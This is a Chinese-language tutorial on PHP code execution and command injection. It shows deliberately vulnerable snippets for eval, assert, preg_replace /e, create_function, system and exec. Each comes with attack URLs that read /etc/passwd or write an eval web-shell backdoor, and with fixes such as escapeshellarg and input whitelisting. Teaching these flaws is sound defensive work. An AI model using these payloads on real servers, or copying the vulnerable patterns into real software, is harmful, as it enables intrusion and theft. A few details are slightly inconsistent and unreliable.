目录

代码执行漏洞

前置说明

eval () 代码执行漏洞

漏洞代码

攻击 Payload(URL 传参)

原理

修复方案

assert () 代码执行漏洞

漏洞代码

攻击 Payload

修复方案

preg_replace /e 修饰符 代码执行(PHP5 专属)

漏洞代码

攻击 Payload

修复方案

create_function 动态函数代码执行(PHP5)

漏洞代码

攻击payload

修复方案

容易导致代码执行的 PHP 函数

直接高危(传入可控内容可直接执行 PHP 代码 / 系统命令)

回调可控间接风险(回调参数由用户可控时,可调用任意函数触发代码执行)

无代码 / 命令执行风险

PHP 命令执行漏洞

漏洞核心原理

system () 漏洞

漏洞代码

攻击 URL Payload

exec () 漏洞

漏洞代码

攻击 URL Payload

shell_exec () / 反引号 `` 漏洞

漏洞代码

攻击 URL Payload

passthru () 漏洞

pcntl_exec () 漏洞

攻击 URL Payload

安全修复方案

escapeshellarg(最优,推荐)

输入白名单校验

php.ini 全局禁用危险命令函数


代码执行漏洞
前置说明

PHP 代码执行漏洞成因:可控用户输入直接传入可执行代码的函数,攻击者可拼接恶意 PHP 语法实现任意代码执行、读写文件、服务器提权等。

危险函数eval()assert()、旧版本 preg_replace() /e 修饰符、create_function()(PHP5)、call_user_func() 等。

  • preg_replace /e 漏洞仅 PHP 5.0 ~ PHP 5.5 有效,PHP5.6 + 移除 /e 修饰符
  • create_function() 在 PHP7 废弃,PHP8 直接删除
  • assert() 在 PHP7.2 后默认关闭代码执行,需手动开启 assert.active=1
  • eval() 全版本高危,无版本限制
eval () 代码执行漏洞
漏洞代码
<?php
// 获取GET参数 cmd,用户可控输入
$cmd = $_GET['cmd'];
// 直接拼接执行,存在代码执行漏洞
eval("\$ret = $cmd;");
echo "执行结果:".$ret;
?>
攻击 Payload(URL 传参)
http://127.0.0.1/vuln_eval.php?cmd=phpinfo();
http://127.0.0.1/vuln_eval.php?cmd=system('whoami');
http://127.0.0.1/vuln_eval.php?cmd=file_put_contents('shell.php','<?php eval($_POST[cmd]);?>');
原理

eval 内部会把字符串当做 PHP 代码解析,传入分号闭合原有语法后可执行任意函数。

修复方案

1、禁止使用 eval 处理用户输入

2、若必须动态运算,使用安全的表达式白名单,严格正则过滤特殊字符 ;(){}'"

assert () 代码执行漏洞

assert 原本用于断言判断,传入字符串会当做代码执行(PHP7.2 前默认开启)

漏洞代码
<?php
$input = $_GET['a'];
assert($input);
?>
攻击 Payload
http://127.0.0.1/vuln_assert.php?a=phpinfo();
http://127.0.0.1/vuln_assert.php?a=system('id');
修复方案

1、php.ini 设置 assert.active=0assert.exception=1

2、不传用户可控变量给 assert

preg_replace /e 修饰符 代码执行(PHP5 专属)
漏洞代码
<?php
$str = $_GET['str'];
// 带 /e 修饰符,替换内容会被eval执行
preg_replace('/(\w+)/e', '$1', $str);
?>

执行逻辑:

正常情况下,preg_replace 是做字符串替换。但加上 /e 后,流程变成了:

  1. 从 $str 中提取出每个单词(例如 "hello")。

  2. 把 $1(即 "hello")放入替换字段。

  3. 由于 /e 的存在,PHP会尝试执行 hello 这个代码

攻击 Payload
http://127.0.0.1/vuln_preg.php?str={phpinfo()}
http://127.0.0.1/vuln_preg.php?str={system('ls -l')}
修复方案

1、废弃 /e 修饰符,使用 preg_replace_callback 回调函数替代

2、PHP5 升级 PHP7/8

安全替代写法:

// 安全无执行风险
$res = preg_replace_callback('/(\w+)/', function($m){
    return $m[1];
}, $str);
//即使 $str = "phpinfo()",它也只是:
//匹配到单词 phpinfo
//回调函数返回字符串 "phpinfo"
//最终结果是字符串 "phpinfo",绝对不会执行 phpinfo() 函数

create_function 动态函数代码执行(PHP5)

create_function 通过拼接字符串创建匿名函数,可控输入会注入恶意代码。

漏洞代码
<?php
$user = $_GET['name'];
// 可控输入拼接函数逻辑
$func = create_function('', "echo 'hello ".$user."';");
$func();
?>
攻击payload
http://127.0.0.1/vuln_create.php?name=';phpinfo();//

注入后生成的函数代码变为:

function(){echo 'hello ';phpinfo();//';}
//分号闭合原有语句,注释掉剩余代码,实现任意代码执行。

执行过程:

  1. create_function() 会动态创建一个匿名函数

  2. 函数体是字符串:"echo 'hello ".$user."';"

  3. $user 变量会被直接拼接进函数体字符串中

修复方案

PHP7+ 不再推荐 create_function,改用匿名函数 function(){} / fn(),禁止拼接用户输入。

容易导致代码执行的 PHP 函数
直接高危(传入可控内容可直接执行 PHP 代码 / 系统命令)
  • assert ():传入字符串参数会当作 PHP 代码执行,易代码注入
  • pcntl_exec ():加载程序执行系统二进制,可控参数会命令注入
  • preg_replace:PHP5 带 /e 修饰符时替换内容会 eval 执行 PHP 代码
  • create_function ():拼接用户输入生成匿名函数,可注入 PHP 代码
  • shell_exec ():执行 shell 命令并返回输出,可控参数造成命令执行
  • exec ():调用外部 shell 执行系统命令,存在命令注入风险
  • system ():执行系统命令并直接打印输出,极易命令注入
  • include/include_once/require/require_once:文件包含,可控路径可包含恶意 PHP 文件执行代码
回调可控间接风险(回调参数由用户可控时,可调用任意函数触发代码执行)

1、array_filter、array_map、array_reduce、array_diff_uassoc、array_diff_ukey、array_udiff、array_udiff_assoc、array_udiff_uassoc、array_intersect_assoc、array_intersect_uassoc、array_uintersect、array_uintersect_assoc、array_uintersect_uassoc、array_walk、array_walk_recursive、usort、uasort、uksort:数组处理自定义回调,用户能控制回调名即可调用危险函数执行代码

2、register_shutdown_function、register_tick_function、set_error_handler、stream_filter_register、ob_start:注册各类回调处理函数,回调名称可控可劫持执行任意 PHP 函数

3、xml_set_xxx 系列处理器函数:设置 XML 解析回调,回调可控可执行任意 PHP 代码

无代码 / 命令执行风险

escapeshellcmd ():仅转义 shell 特殊字符,只做过滤,本身不会执行命令

PHP 命令执行漏洞
漏洞核心原理

用户可控外部输入(GET/POST/COOKIE)直接拼接进系统命令执行函数,未做转义 / 过滤;攻击者使用 ; | & || && %0a 等命令分隔符追加任意系统命令,实现命令注入。

system () 漏洞
漏洞代码
<?php
// 接收用户传入的ip,无任何安全处理
$target = $_GET['ip'];
// 可控变量直接拼接系统命令
system("ping ".$target);
?>
攻击 URL Payload
http://127.0.0.1/vuln_system.php?ip=127.0.0.1;whoami
http://127.0.0.1/vuln_system.php?ip=127.0.0.1|ls
http://127.0.0.1/vuln_system.php?ip=127.0.0.1&&cat /etc/passwd

效果:先执行 ping,再执行 whoami/ls/cat,读取服务器敏感信息

exec () 漏洞
漏洞代码
<?php
$target = $_GET['ip'];
$res = [];
exec("ping ".$target, $res);
print_r($res);
?>
攻击 URL Payload
?vip=127.0.0.1;pwd

命令输出存入数组并打印,可读取目录、敏感文件。

shell_exec () / 反引号 `` 漏洞

二者功能完全一致,通过 shell 执行命令并返回完整输出

漏洞代码
<?php
$target = $_GET['ip'];
$output = shell_exec("ping ".$target);
echo $output;

// 等价写法 $output = `ping $target`;
?>
攻击 URL Payload
?ip=127.0.0.1;id
passthru () 漏洞

直接原始输出命令数据流,无缓存,适合读取文件、反弹 shell

<?php
$target = $_GET['ip'];
$handle = popen("ping ".$target, "r");
echo fgets($handle);
pclose($handle);
?>
pcntl_exec () 漏洞

直接调用二进制程序,参数可控造成参数注入

<?php
$param = $_GET['p'];
pcntl_exec("/bin/echo", [$param]);
?>
攻击 URL Payload
?p=test;ls
?ip=127.0.0.1;echo '<?php eval($_POST[cmd]);?>' > shell.php
//高危拓展利用:写入网站后门
安全修复方案
escapeshellarg(最优,推荐)

将用户输入整体封装为独立参数,所有命令分隔符自动转义失效

运行过程:

  1. 在字符串首尾添加单引号 '

  2. 将字符串内的单引号 ' 替换为 '\''(结束单引号 → 转义单引号 → 开始新单引号)

<?php
$target = $_GET['ip'];
$safe_target = escapeshellarg($target);
system("ping ".$safe_target);
?>

补充两个转义函数区别:

  • escapeshellarg ():转义单个参数,阻断命令注入,业务首选;
  • escapeshellcmd ():转义整条命令,仅适合固定命令场景,无法完全防御参数注入,不建议单独使用。
输入白名单校验

严格限制输入格式(如仅允许 IP 数字和点)

<?php
$target = $_GET['ip'];
if (!preg_match('/^\d{1,3}(\.\d{1,3}){3}$/', $target)) {
    exit("非法输入");
}
system("ping ".$target);
?>

正则匹配:

部分 含义 说明
^ 开始锚点 从字符串开头匹配
\d{1,3} 1-3位数字 匹配 0-999
(\.\d{1,3}){3} 分组重复3次 匹配 .数字 重复3次
$ 结束锚点 匹配到字符串结尾
php.ini 全局禁用危险命令函数

disable_functions = system,exec,shell_exec,passthru,popen,pcntl_exec

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐